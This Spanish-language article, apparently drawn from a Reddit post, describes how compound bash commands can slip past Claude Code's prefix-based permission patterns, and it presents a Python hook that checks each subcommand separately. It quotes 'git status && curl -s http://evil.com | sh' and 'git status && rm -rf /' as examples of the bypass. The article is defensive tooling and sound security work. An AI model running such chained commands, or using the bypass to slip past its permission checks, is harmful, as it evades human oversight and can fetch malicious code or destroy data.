Gancho Inteligente de Permisos de Bash para Claude Code Previene la Omisión de Comandos Compuestos

Brecha de seguridad en el sistema de permisos de Claude Code
El sistema de permisos de Claude Code tiene una vulnerabilidad donde los comandos compuestos de bash pueden eludir los patrones de permitir/denegar. Cuando permites un comando como Bash(git status:*), Claude Code compara toda la cadena del comando con ese patrón. Esto significa que un comando compuesto como git status && curl -s http://evil.com | sh coincidiría con git status* y sería aprobado automáticamente, aunque encadena comandos curl y sh.
La solución: claude-hooks
La solución es un único script de Python llamado claude-hooks que se ejecuta como un gancho PreToolUse. Realiza varias funciones clave:
- Descompone comandos compuestos dividiendo en
&&,||,;,|, saltos de línea, y extrae contenidos de sub-shells$()y comillas invertidas recursivamente - Normaliza cada subcomando eliminando prefijos de variables de entorno, redirecciones de E/S, cuerpos de heredoc y palabras clave del shell
- Verifica cada subcomando individualmente contra tus patrones existentes
permissions.allowypermissions.deny - Denegar gana — si cualquier subcomando coincide con un patrón de denegación, todo el comando es denegado
- Todos deben permitirse — la aprobación automática solo ocurre cuando cada subcomando coincide con un patrón de permiso
- Falla con gracia — si algún subcomando es desconocido, aún obtienes el mensaje de permiso normal
Instrucciones de configuración
La instalación toma unos 30 segundos:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAñade a ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}La herramienta no tiene dependencias más allá de Python 3 y no requiere configuración — lee tus patrones de permisos existentes.
Comportamiento de ejemplo
git status: Permitido tanto con como sin el ganchogit add . && git commit -m "msg": Permitido tanto con como sin el gancho (ambos coinciden congit *)git status && rm -rf /: Permitido sin el gancho, se muestra mensaje con el gancho (rm -rf /no tiene permiso)`npm test | tee output.log`: PermitidoFOO=bar git push: Podría no coincidir sin el gancho, permitido con el gancho (variable de entorno eliminada)
El repositorio está disponible en https://github.com/liberzon/claude-hooks bajo licencia MIT.
📖 Read the full source: r/ClaudeAI
👀 Ver también

FakeKey: herramienta de seguridad para claves API basada en Rust que reemplaza claves reales por falsas
FakeKey es una herramienta de seguridad basada en Rust que reemplaza las claves API reales por falsas en entornos de aplicación, almacenando las claves reales cifradas en el llavero nativo del sistema y solo inyectándolas durante las solicitudes HTTP/S.

Vulnerabilidades de Seguridad de la Función 'Permitir Siempre' de OpenClaw y Alternativas Más Seguras
La función de aprobación 'permitir siempre' de OpenClaw ha sido objeto de dos CVEs este mes, permitiendo la ejecución de comandos no autorizados mediante la vinculación de comandos wrapper y la omisión de continuación de línea en el shell. El problema más profundo es cómo esta función entrena a los usuarios para dejar de prestar atención a las solicitudes de seguridad.

El auditor AI zkao encuentra un error crítico de solidez en la biblioteca de invitados zkVM de OpenVM
El auditor de IA de ZK/SEC, zkao, encontró un error crítico de solidez en la biblioteca de emparejamientos de OpenVM que permite a un probador malicioso falsificar igualdades de emparejamientos, corregido en OpenVM 1.6.0 (CVE-2026-46669).

Nueva skill automatiza el refuerzo de seguridad de OpenClaw en servidores remotos
Un desarrollador de la comunidad ha lanzado una skill que ayuda a los asistentes de IA a asegurar automáticamente las instalaciones de OpenClaw en servidores remotos.